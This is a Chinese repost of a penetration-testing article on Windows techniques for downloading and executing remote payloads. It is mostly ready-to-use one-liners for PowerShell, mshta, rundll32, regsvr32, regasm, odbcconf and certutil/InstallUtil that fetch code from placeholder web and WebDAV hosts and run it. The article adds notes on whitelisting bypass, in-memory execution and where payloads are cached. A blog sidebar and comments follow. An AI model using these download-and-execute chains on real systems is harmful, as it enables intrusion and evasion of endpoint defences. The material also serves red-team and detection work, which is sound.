渗透经验 | Windows下载远程Payload并执行代码的各种技巧
来源:互联网 发布:网络销售的工资待遇 编辑:程序博客网 时间:2024/06/14 19:55
近期,攻击者使用DDE执行任意命令行工具并入侵系统的情况开始增加,而这似乎也成为了近期的一种趋势。但是,除了PowerShell之外,还有哪些炫酷的命令行工具是攻击者可以选择使用的呢?
首先,这些命令行工具需要满足以下条件:
1. 允许执行任意代码;2. 支持从远程服务器下载Payload;3. 支持代理;4. 支持尽可能多的Microsoft标准(或使用广泛的)代码库;5. 只会在内存中执行,而不会在磁盘中留下痕迹;
实际上,前人已经在这个领域做出了很多的努力。尤其是@subTee,他不仅设计出了应用程序白名单绕过技术,而且他还发明了使用Microsoft内置代码库来执行任意代码的方法。
需要注意的是,并非所有的命令行工具都满足上述所有的条件,尤其是上面的第五点,因为在绝大多数情况下,工具都会在目标系统的本地磁盘中下载Payload或其他恶意文件。
如果考虑到需要从远程服务器下载Payload文件的话,一般只有下面这三种可能的情况:
1. 命令本身可以接受一个HTTP URL作为其中一个参数;
2. 命令接受一个UNC路径(指向一台WebDAV服务器);
3. 命令能够执行一个小型的内联脚本(脚本负责完成下载任务);
根据Windows系统版本的不同(Win 7或Win 10),系统会将那些通过HTTP下载的对象存储在不同的IE本地缓存之中:
C:\Users\<username>\AppData\Local\Microsoft\Windows\TemporaryInternet Files\C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
而通过UNC路径(指向一台WebDAV服务器)访问的文件将会被存储在WebDAV客户端本地缓存之中:
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
在使用UNC路径指向一台托管了Payload的WebDAV服务器时,请记住一点:只有当WebClient服务开启之后该功能才能正常工作。假设该服务没有开启,那么如果你想使用低权限用户角色来开启该服务的话,可以直接在命令行界面中使用命令“pushd \\webdavserver & popd”。
在下面给出的场景中,我们将会给大家介绍几种热门命令行工具的使用以及注意事项。
PowerShell
毫无疑问,Powershell绝对是目前最著名的命令行工具了,但同时它也受监控最多的一个了。下面给出的是一种代理友好型命令:
powershell -exec bypass -c"(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
在这条命令中,负责执行网络调用的是powershell.exe,而且不会在本地磁盘中写入Payload。
当然了,你也可以对命令进行部分编码。除此之外,你还可以直接从一台WebDAV服务器来调用Payload:
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
在上面这条命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Cmd
当你想使用cmd.exe运行一个批处理文件时,为什么情况会变得很复杂呢?尤其是当你的批处理文件不仅会执行一系列命令,而且还嵌入了任意类型文件的时候。大家可以参考一下我自己开发的Invoke-EmbedInBatch.ps1脚本(受到了@xorrior的启发),它可以帮助你轻松地在目标主机中释放任何代码、dll、以及脚本:
https://github.com/Arno0x/PowerShellScripts
命令如下:
cmd.exe /k <\\webdavserver\folder\batchfile.txt
在上述命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Cscript/Wscript
这两种命令行工具也是很常见的,我们可以使用一行命令来从一台远程服务器中下载Payload:
cscript //E:jscript\\webdavserver\folder\payload.txt
在上述命令中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Mshta
实际上,Mshta跟cscript/wscript是一类的,但是它还可以执行内联脚本,我们可以通过内联脚本来下载并执行Payload代码:
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
由于mshta还可以接受URL地址作为参数并执行HTA文件,因此我们还可以使用下面这种小技巧来执行命令:
mshta http://webserver/payload.hta
其中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
除此之外,下面的命令还可以隐藏mshta.exe所下载的内容:
mshta \\webdavserver\folder\payload.hta
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Rundll32
Rundll32也非常出名,它的使用方式非常多样化。首先,我们可以使用UNC路径来引用一个标准的DLL文件:
rundll32 \\webdavserver\folder\payload.dll,entrypoint
在上述命令中,负责执行网络调用的是mshta.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
Rundll32还可以用来调用某些内联脚本:
rundll32.exejavascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
其中,负责执行网络调用的是rundll32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
Regasm/Regsvc
Regasm和Regsvc是@subTee发明的其中一种应用程序白名单绕过技术,你需要创建一个特殊的DLL(可使用.Net或C#编写)来获取相应接口,然后通过WebDAV来调用这个文件:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe/u \\webdavserver\folder\payload.dll
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Regsvr32
这种技术也是@subTee发明的,它需要的脚本跟mshta所使用的有些许不同。首选方法如下:
regsvr32 /u /n /s/i:http://webserver/payload.sct scrobj.dll
负责执行网络调用的是regsvr32.exe,而命令会将下载的Payload文件写入到IE本地缓存之中。
其次,我们还可以使用UNC/WebDAV:
regsvr32 /u /n /s/i:\\webdavserver\folder\payload.sct scrobj.dll
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
Odbcconf
Odbcconf跟regsvr32有些类似,它同样是@subTee发明的。它能够执行包含特殊功能的DLL,需要注意的是,这种DLL文件不需要使用.dll后缀,而且可以通过UNC/WebDAV下载:
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
其中,负责执行网络调用的是svchost.exe,而命令会将下载的Payload文件写入到WebDAV客户端本地缓存之中。
命令结合
实际上,我们可以根据自己的需要来同时运行多条命令。
比如说,整个Payload下载部分我们都可以通过certutil.exe来完成:
certutil -urlcache -split -fhttp://webserver/payload payload
除此之外,我们还可以用certutil.exe配合InstallUtil.exe来执行特殊的DLL:
certutil -urlcache -split -fhttp://webserver/payload.b64 payload.b64 & certutil -decode payload.b64payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil/logfile= /LogToConsole=false /u payload.dll
当然了,你也可以直接传递一个可执行文件:
certutil -urlcache -split -fhttp://webserver/payload.b64 payload.b64 & certutil -decode payload.b64payload.exe & payload.exe
Payload样本
你可以从atomic-red-team的GitHub代码库中获取可用的Payload样本:
GitHub地址:https://github.com/redcanaryco/atomic-red-team
除此之外,你也可以从GreatSCT项目的GitHub中获取自动生成的Payload:
GitHub地址:https://github.com/GreatSCT/GreatSCT
当然了,我自己的Gist【传送门】中也托管了不少的Payload样本,感兴趣的同学可以参考一下。
* 参考来源:arno0x0x,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
- 上一篇:病毒分析 | Overlay攻击之完美伪装的移动银行木马
- 下一篇: 血淋林的例子告诉你,为什么防“上传漏洞”要用白名单
已有 5 条评论
- hell0@w0r1d 2017-12-01回复2楼
six six six
亮了(0)
- 渗透经验 | Windows下载远程Payload并执行代码的各种技巧
- 【技术分享】Windows环境渗透技巧之PowerShell Payload的远程执行
- 各种渗透,提权的经验和技巧总结(下)
- 各种渗透,提权的经验和技巧总结(中)
- 各种渗透,提权的经验和技巧总结(上)
- 各种提权、渗透经验技巧总结大全(上)
- 各种提权、渗透经验技巧总结大全(上)
- 各种提权、渗透经验技巧总结大全(下)
- 入侵渗透的经验
- Python SSH 的远程连接并执行命令和下载文件
- 渗透技巧——Windows系统的帐户隐藏
- msf下的各种生成payload命令
- 内网渗透之IPC,远程执行
- 下载论文的技巧及经验
- 网站渗透的一些经验
- 网站渗透的一些经验
- Java使用SSH远程访问Windows并执行命令
- WebView远程代码执行漏洞学习并复现
- C语言—三子棋
- C++11新特性emplace操作
- Java面试题集(1-50)——附完整答案
- SpringMVC之类型转换Converter
- 高可用缓存
- 渗透经验 | Windows下载远程Payload并执行代码的各种技巧
- JVM核心之JVM运行和类加载全过程
- 算法训练 输出米字形
- [算法分析与设计] leetcode 每周一题: 312. Burst Balloons
- 机房文档的简单总结
- 【课程笔记】WebGIS实验
- 企业安全经验 | 应急响应的战争
- 删除单链表的最大值
- 手把手教渗透测试人员打造.NET可执行文件
这个好,必须收藏。